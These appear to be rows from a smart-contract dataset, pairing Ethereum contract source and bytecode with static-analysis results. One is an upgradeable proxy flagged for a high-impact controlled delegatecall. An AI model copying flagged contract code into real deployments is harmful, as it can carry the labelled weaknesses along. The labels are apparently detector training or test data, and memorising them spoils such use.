ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561105f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806117186025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806116856023913960400191505060405180910390fd5b6110f08383836113ed565b6110fb8383836113f2565b611166816040518060600160405280602681526020016116ca602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a59092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111f9816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136590919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290611352576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156113175780820151818401526020810190506112fc565b50505050905090810190601f1680156113445780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000808284019050838110156113e3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561149e5750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561151a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611527575060095481115b1561167f57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806115d55750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806116295750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61167e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806117186025913960400191505060405180910390fd5b5b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220fe5c5717b3b05b577882e3a086fbcde511426421bf0530f0761205b4dafcc6d064736f6c63430006060033 | {"success": true, "error": null, "results": {}} | 10,338 |
0x49d2a0c0e1d4fceb22434b2cb6436f315f5beb3e | /**
*Submitted for verification at Etherscan.io on 2020-09-19
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @title Proxy
* @dev Implements delegation of calls to other contracts, with proper
* forwarding of return values and bubbling of failures.
* It defines a fallback function that delegates all calls to the address
* returned by the abstract _implementation() internal function.
*/
abstract contract Proxy {
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
fallback () payable external {
_fallback();
}
receive () payable external {
_fallback();
}
/**
* @return The Address of the implementation.
*/
function _implementation() virtual internal view returns (address);
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation Address to delegate.
*/
function _delegate(address implementation) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
/**
* @dev Function that is run as the first thing in the fallback function.
* Can be redefined in derived contracts to add functionality.
* Redefinitions must call super._willFallback().
*/
function _willFallback() virtual internal;
/**
* @dev fallback implementation.
* Extracted to enable manual triggering.
*/
function _fallback() internal {
if(OpenZeppelinUpgradesAddress.isContract(msg.sender) && msg.data.length == 0 && gasleft() <= 2300) // for receive ETH only from other contract
return;
_willFallback();
_delegate(_implementation());
}
}
/**
* @title BaseUpgradeabilityProxy
* @dev This contract implements a proxy that allows to change the
* implementation address to which it will delegate.
* Such a change is called an implementation upgrade.
*/
abstract contract BaseUpgradeabilityProxy is Proxy {
/**
* @dev Emitted when the implementation is upgraded.
* @param implementation Address of the new implementation.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation.
* @return impl Address of the current implementation
*/
function _implementation() override internal view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
* @param newImplementation Address of the new implementation.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Sets the implementation address of the proxy.
* @param newImplementation Address of the new implementation.
*/
function _setImplementation(address newImplementation) internal {
require(OpenZeppelinUpgradesAddress.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address");
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
}
/**
* @title BaseAdminUpgradeabilityProxy
* @dev This contract combines an upgradeability proxy with an authorization
* mechanism for administrative tasks.
* All external functions in this contract must be guarded by the
* `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity
* feature proposal that would enable this to be done automatically.
*/
contract BaseAdminUpgradeabilityProxy is BaseUpgradeabilityProxy {
/**
* @dev Emitted when the administration has been transferred.
* @param previousAdmin Address of the previous admin.
* @param newAdmin Address of the new admin.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Modifier to check whether the `msg.sender` is the admin.
* If it is, it will run the function. Otherwise, it will delegate the call
* to the implementation.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @return The address of the proxy admin.
*/
function admin() external ifAdmin returns (address) {
return _admin();
}
/**
* @return The address of the implementation.
*/
function implementation() external ifAdmin returns (address) {
return _implementation();
}
/**
* @dev Changes the admin of the proxy.
* Only the current admin can call this function.
* @param newAdmin Address to transfer proxy administration to.
*/
function changeAdmin(address newAdmin) external ifAdmin {
require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the backing implementation of the proxy.
* Only the admin can call this function.
* @param newImplementation Address of the new implementation.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the backing implementation of the proxy and call a function
* on the new implementation.
* This is useful to initialize the proxied contract.
* @param newImplementation Address of the new implementation.
* @param data Data to send as msg.data in the low level call.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin {
_upgradeTo(newImplementation);
(bool success,) = newImplementation.delegatecall(data);
require(success);
}
/**
* @return adm The admin slot.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
/**
* @dev Sets the address of the proxy admin.
* @param newAdmin Address of the new proxy admin.
*/
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() virtual override internal {
require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin");
//super._willFallback();
}
}
interface IAdminUpgradeabilityProxyView {
function admin() external view returns (address);
function implementation() external view returns (address);
}
/**
* @title UpgradeabilityProxy
* @dev Extends BaseUpgradeabilityProxy with a constructor for initializing
* implementation and init data.
*/
abstract contract UpgradeabilityProxy is BaseUpgradeabilityProxy {
/**
* @dev Contract constructor.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, bytes memory _data) public payable {
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
//function _willFallback() virtual override internal {
//super._willFallback();
//}
}
/**
* @title AdminUpgradeabilityProxy
* @dev Extends from BaseAdminUpgradeabilityProxy with a constructor for
* initializing the implementation, admin, and init data.
*/
contract AdminUpgradeabilityProxy is BaseAdminUpgradeabilityProxy, UpgradeabilityProxy {
/**
* Contract constructor.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _admin, address _logic, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable {
assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1));
_setAdmin(_admin);
}
function _willFallback() override(Proxy, BaseAdminUpgradeabilityProxy) internal {
super._willFallback();
}
}
/**
* @title InitializableUpgradeabilityProxy
* @dev Extends BaseUpgradeabilityProxy with an initializer for initializing
* implementation and init data.
*/
abstract contract InitializableUpgradeabilityProxy is BaseUpgradeabilityProxy {
/**
* @dev Contract initializer.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
function initialize(address _logic, bytes memory _data) public payable {
require(_implementation() == address(0));
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
}
/**
* @title InitializableAdminUpgradeabilityProxy
* @dev Extends from BaseAdminUpgradeabilityProxy with an initializer for
* initializing the implementation, admin, and init data.
*/
contract InitializableAdminUpgradeabilityProxy is BaseAdminUpgradeabilityProxy, InitializableUpgradeabilityProxy {
/**
* Contract initializer.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
function initialize(address _admin, address _logic, bytes memory _data) public payable {
require(_implementation() == address(0));
InitializableUpgradeabilityProxy.initialize(_logic, _data);
assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1));
_setAdmin(_admin);
}
}
/**
* Utility library of inline functions on addresses
*
* Source https://raw.githubusercontent.com/OpenZeppelin/openzeppelin-solidity/v2.1.3/contracts/utils/Address.sol
* This contract is copied here and renamed from the original to avoid clashes in the compiled artifacts
* when the user imports a zos-lib contract (that transitively causes this contract to be compiled and added to the
* build/artifacts folder) as well as the vanilla Address implementation from an openzeppelin version.
*/
library OpenZeppelinUpgradesAddress {
/**
* Returns whether the target address is a contract
* @dev This function will return false if invoked during the constructor of a contract,
* as the code is not actually created until after the constructor finishes.
* @param account address of the account to check
* @return whether the target address is a contract
*/
function isContract(address account) internal view returns (bool) {
uint256 size;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
} | 0x6080604052600436106100745760003560e01c80638f2839701161004e5780638f2839701461016f578063cf7a1d77146101a2578063d1f5789414610261578063f851a4401461031757610083565b80633659cfe61461008b5780634f1ef286146100be5780635c60da1b1461013e57610083565b366100835761008161032c565b005b61008161032c565b34801561009757600080fd5b50610081600480360360208110156100ae57600080fd5b50356001600160a01b0316610371565b610081600480360360408110156100d457600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156100ff57600080fd5b82018360208201111561011157600080fd5b8035906020019184600183028401116401000000008311171561013357600080fd5b5090925090506103ab565b34801561014a57600080fd5b50610153610458565b604080516001600160a01b039092168252519081900360200190f35b34801561017b57600080fd5b506100816004803603602081101561019257600080fd5b50356001600160a01b0316610495565b610081600480360360608110156101b857600080fd5b6001600160a01b0382358116926020810135909116918101906060810160408201356401000000008111156101ec57600080fd5b8201836020820111156101fe57600080fd5b8035906020019184600183028401116401000000008311171561022057600080fd5b91908080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525092955061054f945050505050565b6100816004803603604081101561027757600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156102a257600080fd5b8201836020820111156102b457600080fd5b803590602001918460018302840111640100000000831117156102d657600080fd5b91908080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525092955061057f945050505050565b34801561032357600080fd5b5061015361065f565b6103353361068a565b801561033f575036155b801561034d57506108fc5a11155b156103575761036f565b61035f610690565b61036f61036a6106e8565b61070d565b565b610379610731565b6001600160a01b0316336001600160a01b031614156103a05761039b81610756565b6103a8565b6103a861032c565b50565b6103b3610731565b6001600160a01b0316336001600160a01b0316141561044b576103d583610756565b6000836001600160a01b031683836040518083838082843760405192019450600093509091505080830381855af49150503d8060008114610432576040519150601f19603f3d011682016040523d82523d6000602084013e610437565b606091505b505090508061044557600080fd5b50610453565b61045361032c565b505050565b6000610462610731565b6001600160a01b0316336001600160a01b0316141561048a576104836106e8565b9050610492565b61049261032c565b90565b61049d610731565b6001600160a01b0316336001600160a01b031614156103a0576001600160a01b0381166104fb5760405162461bcd60e51b81526004018080602001828103825260368152602001806108556036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f610524610731565b604080516001600160a01b03928316815291841660208301528051918290030190a161039b81610796565b60006105596106e8565b6001600160a01b03161461056c57600080fd5b610576828261057f565b61045383610796565b60006105896106e8565b6001600160a01b03161461059c57600080fd5b6105a5826107ba565b80511561065b576000826001600160a01b0316826040518082805190602001908083835b602083106105e85780518252601f1990920191602091820191016105c9565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d8060008114610648576040519150601f19603f3d011682016040523d82523d6000602084013e61064d565b606091505b505090508061045357600080fd5b5050565b6000610669610731565b6001600160a01b0316336001600160a01b0316141561048a57610483610731565b3b151590565b610698610731565b6001600160a01b0316336001600160a01b0316141561036f5760405162461bcd60e51b81526004018080602001828103825260328152602001806108236032913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e80801561072c573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b61075f816107ba565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b6107c38161068a565b6107fe5760405162461bcd60e51b815260040180806020018281038252603b81526020018061088b603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5556fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a2646970667358221220e6fadd51b281dac9b5e7b119f723ec2de83d894bde920065b1c6ead1d5ab100c64736f6c634300060c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "controlled-delegatecall", "impact": "High", "confidence": "Medium"}]}} | 10,339 |
0x088e1CC70fc731FBEE06d1eA41890F481552Bd99 | pragma solidity 0.5.15;
library Addresses {
function isContract(address account) internal view returns (bool) {
uint256 size;
// solium-disable-next-line security/no-inline-assembly
assembly {
size := extcodesize(account)
}
return size > 0;
}
function performEthTransfer(address recipient, uint256 amount) internal {
// solium-disable-next-line security/no-call-value
(bool success, ) = recipient.call.value(amount)(""); // NOLINT: low-level-calls.
require(success, "ETH_TRANSFER_FAILED");
}
/*
Safe wrapper around ERC20/ERC721 calls.
This is required because many deployed ERC20 contracts don't return a value.
See https://github.com/ethereum/solidity/issues/4116.
*/
function safeTokenContractCall(address tokenAddress, bytes memory callData) internal {
require(isContract(tokenAddress), "BAD_TOKEN_ADDRESS");
// solium-disable-next-line security/no-low-level-calls
// NOLINTNEXTLINE: low-level-calls.
(bool success, bytes memory returndata) = address(tokenAddress).call(callData);
require(success, string(returndata));
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "TOKEN_OPERATION_FAILED");
}
}
}
library StarkExTypes {
// Structure representing a list of verifiers (validity/availability).
// A statement is valid only if all the verifiers in the list agree on it.
// Adding a verifier to the list is immediate - this is used for fast resolution of
// any soundness issues.
// Removing from the list is time-locked, to ensure that any user of the system
// not content with the announced removal has ample time to leave the system before it is
// removed.
struct ApprovalChainData {
address[] list;
// Represents the time after which the verifier with the given address can be removed.
// Removal of the verifier with address A is allowed only in the case the value
// of unlockedForRemovalTime[A] != 0 and unlockedForRemovalTime[A] < (current time).
mapping (address => uint256) unlockedForRemovalTime;
}
}
contract ExternalInitializer {
event LogExternalInitialize(bytes data);
function initialize(bytes calldata data) external;
}
contract GovernanceStorage {
struct GovernanceInfoStruct {
mapping (address => bool) effectiveGovernors;
address candidateGovernor;
bool initialized;
}
// A map from a Governor tag to its own GovernanceInfoStruct.
mapping (string => GovernanceInfoStruct) internal governanceInfo;
}
contract IFactRegistry {
/*
Returns true if the given fact was previously registered in the contract.
*/
function isValid(bytes32 fact)
external view
returns(bool);
}
contract Identity {
/*
Allows a caller, typically another contract,
to ensure that the provided address is of the expected type and version.
*/
function identify()
external pure
returns(string memory);
}
contract LibConstants {
// Durations for time locked mechanisms (in seconds).
// Note that it is known that miners can manipulate block timestamps
// up to a deviation of a few seconds.
// This mechanism should not be used for fine grained timing.
// The time required to cancel a deposit, in the case the operator does not move the funds
// to the off-chain storage.
uint256 public constant DEPOSIT_CANCEL_DELAY = 1 days;
// The time required to freeze the exchange, in the case the operator does not execute a
// requested full withdrawal.
uint256 public constant FREEZE_GRACE_PERIOD = 7 days;
// The time after which the exchange may be unfrozen after it froze. This should be enough time
// for users to perform escape hatches to get back their funds.
uint256 public constant UNFREEZE_DELAY = 365 days;
// Maximal number of verifiers which may co-exist.
uint256 public constant MAX_VERIFIER_COUNT = uint256(64);
// The time required to remove a verifier in case of a verifier upgrade.
uint256 public constant VERIFIER_REMOVAL_DELAY = FREEZE_GRACE_PERIOD + (21 days);
uint256 constant MAX_VAULT_ID = 2**31 - 1;
uint256 constant MAX_QUANTUM = 2**128 - 1;
address constant ZERO_ADDRESS = address(0x0);
uint256 constant K_MODULUS =
0x800000000000011000000000000000000000000000000000000000000000001;
uint256 constant K_BETA =
0x6f21413efbe40de150e596d72f7a8c5609ad26c15c915c1f4cdfcb99cee9e89;
uint256 constant EXPIRATION_TIMESTAMP_BITS = 22;
uint256 internal constant MASK_250 =
0x03FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;
uint256 internal constant MASK_240 =
0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;
uint256 internal constant MINTABLE_ASSET_ID_FLAG = 1<<250;
}
contract ProxyStorage is GovernanceStorage {
// Stores the hash of the initialization vector of the added implementation.
// Upon upgradeTo the implementation, the initialization vector is verified
// to be identical to the one submitted when adding the implementation.
mapping (address => bytes32) internal initializationHash;
// The time after which we can switch to the implementation.
mapping (address => uint256) internal enabledTime;
// A central storage of the flags whether implementation has been initialized.
// Note - it can be used flexibly enough to accommodate multiple levels of initialization
// (i.e. using different key salting schemes for different initialization levels).
mapping (bytes32 => bool) internal initialized;
}
contract MainStorage is ProxyStorage {
IFactRegistry escapeVerifier_;
// Global dex-frozen flag.
bool stateFrozen; // NOLINT: constable-states.
// Time when unFreeze can be successfully called (UNFREEZE_DELAY after freeze).
uint256 unFreezeTime; // NOLINT: constable-states.
// Pending deposits.
// A map STARK key => asset id => vault id => quantized amount.
mapping (uint256 => mapping (uint256 => mapping (uint256 => uint256))) pendingDeposits;
// Cancellation requests.
// A map STARK key => asset id => vault id => request timestamp.
mapping (uint256 => mapping (uint256 => mapping (uint256 => uint256))) cancellationRequests;
// Pending withdrawals.
// A map STARK key => asset id => quantized amount.
mapping (uint256 => mapping (uint256 => uint256)) pendingWithdrawals;
// vault_id => escape used boolean.
mapping (uint256 => bool) escapesUsed;
// Number of escapes that were performed when frozen.
uint256 escapesUsedCount; // NOLINT: constable-states.
// Full withdrawal requests: stark key => vaultId => requestTime.
// stark key => vaultId => requestTime.
mapping (uint256 => mapping (uint256 => uint256)) fullWithdrawalRequests;
// State sequence number.
uint256 sequenceNumber; // NOLINT: constable-states uninitialized-state.
// Vaults Tree Root & Height.
uint256 vaultRoot; // NOLINT: constable-states uninitialized-state.
uint256 vaultTreeHeight; // NOLINT: constable-states uninitialized-state.
// Order Tree Root & Height.
uint256 orderRoot; // NOLINT: constable-states uninitialized-state.
uint256 orderTreeHeight; // NOLINT: constable-states uninitialized-state.
// True if and only if the address is allowed to add tokens.
mapping (address => bool) tokenAdmins;
// True if and only if the address is allowed to register users.
mapping (address => bool) userAdmins;
// True if and only if the address is an operator (allowed to update state).
mapping (address => bool) operators;
// Mapping of contract ID to asset data.
mapping (uint256 => bytes) assetTypeToAssetInfo; // NOLINT: uninitialized-state.
// Mapping of registered contract IDs.
mapping (uint256 => bool) registeredAssetType; // NOLINT: uninitialized-state.
// Mapping from contract ID to quantum.
mapping (uint256 => uint256) assetTypeToQuantum; // NOLINT: uninitialized-state.
// This mapping is no longer in use, remains for backwards compatibility.
mapping (address => uint256) starkKeys_DEPRECATED; // NOLINT: naming-convention.
// Mapping from STARK public key to the Ethereum public key of its owner.
mapping (uint256 => address) ethKeys; // NOLINT: uninitialized-state.
// Timelocked state transition and availability verification chain.
StarkExTypes.ApprovalChainData verifiersChain;
StarkExTypes.ApprovalChainData availabilityVerifiersChain;
// Batch id of last accepted proof.
uint256 lastBatchId; // NOLINT: constable-states uninitialized-state.
// Mapping between sub-contract index to sub-contract address.
mapping(uint256 => address) subContracts; // NOLINT: uninitialized-state.
}
contract ChangeVerifiersExternalInitializer is
ExternalInitializer,
MainStorage,
LibConstants
{
using Addresses for address;
uint256 constant ENTRY_NOT_FOUND = uint256(~0);
/*
The initiatialize function gets four parameters in the bytes array:
1. New verifier address,
2. Keccak256 of the expected verifier id.
3. New availability verifier address,
4. Keccak256 of the expected availability verifier id.
*/
function initialize(bytes calldata data) external {
require(data.length == 128, "UNEXPECTED_DATA_SIZE");
address newVerifierAddress;
bytes32 verifierIdHash;
address newAvailabilityVerifierAddress;
bytes32 availabilityVerifierIdHash;
// Extract sub-contract address and hash of verifierId.
(
newVerifierAddress,
verifierIdHash,
newAvailabilityVerifierAddress,
availabilityVerifierIdHash
) = abi.decode(data, (address, bytes32, address, bytes32));
// Flush the entire verifiers list.
delete verifiersChain.list;
delete availabilityVerifiersChain.list;
// ApprovalChain addEntry performs all the required checks for us.
addEntry(verifiersChain, newVerifierAddress, MAX_VERIFIER_COUNT, verifierIdHash);
addEntry(
availabilityVerifiersChain, newAvailabilityVerifierAddress,
MAX_VERIFIER_COUNT, availabilityVerifierIdHash);
emit LogExternalInitialize(data);
}
/*
The functions below are taken from ApprovalChain.sol, with minor changes:
1. No governance needed (we are under the context where proxy governance is granted).
2. The verifier ID is passed as hash, and not as string.
*/
function addEntry(
StarkExTypes.ApprovalChainData storage chain,
address entry, uint256 maxLength, bytes32 hashExpectedId)
internal
{
address[] storage list = chain.list;
require(entry.isContract(), "ADDRESS_NOT_CONTRACT");
bytes32 hashRealId = keccak256(abi.encodePacked(Identity(entry).identify()));
require(hashRealId == hashExpectedId, "UNEXPECTED_CONTRACT_IDENTIFIER");
require(list.length < maxLength, "CHAIN_AT_MAX_CAPACITY");
require(findEntry(list, entry) == ENTRY_NOT_FOUND, "ENTRY_ALREADY_EXISTS");
chain.list.push(entry);
chain.unlockedForRemovalTime[entry] = 0;
}
function findEntry(address[] storage list, address entry)
internal view returns (uint256)
{
uint256 n_entries = list.length;
for (uint256 i = 0; i < n_entries; i++) {
if (list[i] == entry) {
return i;
}
}
return ENTRY_NOT_FOUND;
}
}
| 0x608060405234801561001057600080fd5b50600436106100615760003560e01c806271754214610066578063439fab911461008057806377e84e0d146100f0578063993f3639146100f8578063b766311214610100578063e6de628214610108575b600080fd5b61006e610110565b60408051918252519081900360200190f35b6100ee6004803603602081101561009657600080fd5b810190602081018135600160201b8111156100b057600080fd5b8201836020820111156100c257600080fd5b803590602001918460018302840111600160201b831117156100e357600080fd5b509092509050610117565b005b61006e610239565b61006e610240565b61006e610248565b61006e61024f565b62093a8081565b60808114610163576040805162461bcd60e51b8152602060048201526014602482015273554e45585045435445445f444154415f53495a4560601b604482015290519081900360640190fd5b6000806000808585608081101561017957600080fd5b506001600160a01b038135811695506020820135945060408201351692506060013590506101a9601960006105e7565b6101b5601b60006105e7565b6101c3601985604086610254565b6101d1601b83604084610254565b7fcd1400d214c673d845a60be61e4392df27be94360484e7da79f75c0222550615868660405180806020018281038252848482818152602001925080828437600083820152604051601f909101601f19169092018290039550909350505050a1505050505050565b6201518081565b6301e1338081565b6224ea0081565b604081565b836102676001600160a01b038516610582565b6102af576040805162461bcd60e51b8152602060048201526014602482015273105111149154d4d7d393d517d0d3d395149050d560621b604482015290519081900360640190fd5b6000846001600160a01b031663eeb728666040518163ffffffff1660e01b815260040160006040518083038186803b1580156102ea57600080fd5b505afa1580156102fe573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052602081101561032757600080fd5b8101908080516040519392919084600160201b82111561034657600080fd5b90830190602082018581111561035b57600080fd5b8251600160201b81118282018810171561037457600080fd5b82525081516020918201929091019080838360005b838110156103a1578181015183820152602001610389565b50505050905090810190601f1680156103ce5780820380516001836020036101000a031916815260200191505b506040525050506040516020018082805190602001908083835b602083106104075780518252601f1990920191602091820191016103e8565b6001836020036101000a038019825116818451168082178552505050505050905001915050604051602081830303815290604052805190602001209050828114610498576040805162461bcd60e51b815260206004820152601e60248201527f554e45585045435445445f434f4e54524143545f4944454e5449464945520000604482015290519081900360640190fd5b815484116104e5576040805162461bcd60e51b8152602060048201526015602482015274434841494e5f41545f4d41585f434150414349545960581b604482015290519081900360640190fd5b6000196104f28387610588565b1461053b576040805162461bcd60e51b8152602060048201526014602482015273454e5452595f414c52454144595f45584953545360601b604482015290519081900360640190fd5b50508354600181810186556000868152602080822090930180546001600160a01b039097166001600160a01b03199097168717905594855290940190935250604081205550565b3b151590565b8154600090815b818110156105d957836001600160a01b03168582815481106105ad57fe5b6000918252602090912001546001600160a01b031614156105d15791506105e19050565b60010161058f565b506000199150505b92915050565b50805460008255906000526020600020908101906106059190610608565b50565b61062691905b80821115610622